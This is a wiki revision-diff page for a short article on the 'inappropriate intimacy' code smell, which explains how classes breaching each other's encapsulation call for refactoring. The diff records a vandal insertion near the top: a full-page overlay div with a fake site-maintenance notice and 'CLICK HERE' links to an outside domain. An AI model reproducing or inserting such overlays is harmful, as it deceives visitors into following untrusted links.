Inappropriate intimacy smell
From CSSEMediaWiki
(Difference between revisions)
m (→See also) |
|||
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ukusypumi.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://ukusypumi.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
Sometimes classes become too intimate and spend too much time touching each other's private parts or fields. This is bad because it breaches encapsulation and [[Information hiding]]. | Sometimes classes become too intimate and spend too much time touching each other's private parts or fields. This is bad because it breaches encapsulation and [[Information hiding]]. | ||
Revision as of 11:03, 24 November 2010
Sometimes classes become too intimate and spend too much time touching each other's private parts or fields. This is bad because it breaches encapsulation and Information hiding.
If a class is more interested in the internals of another class, this can indicate that related data and behavior is not put in one place. Therefore, intimate classes should be refactored by moving the methods and fields in such a way that related data and behavior is put together and there is no need for a class to look at another class' internals.
Subclasses in particular are often very intimate with their parent classes though proponents of object encapsulation would argue that that is appropriate.
See also
- Information hiding
- Encapsulation boundary
- Hide data within its class
- Keep related data and behavior in one place
- Code smells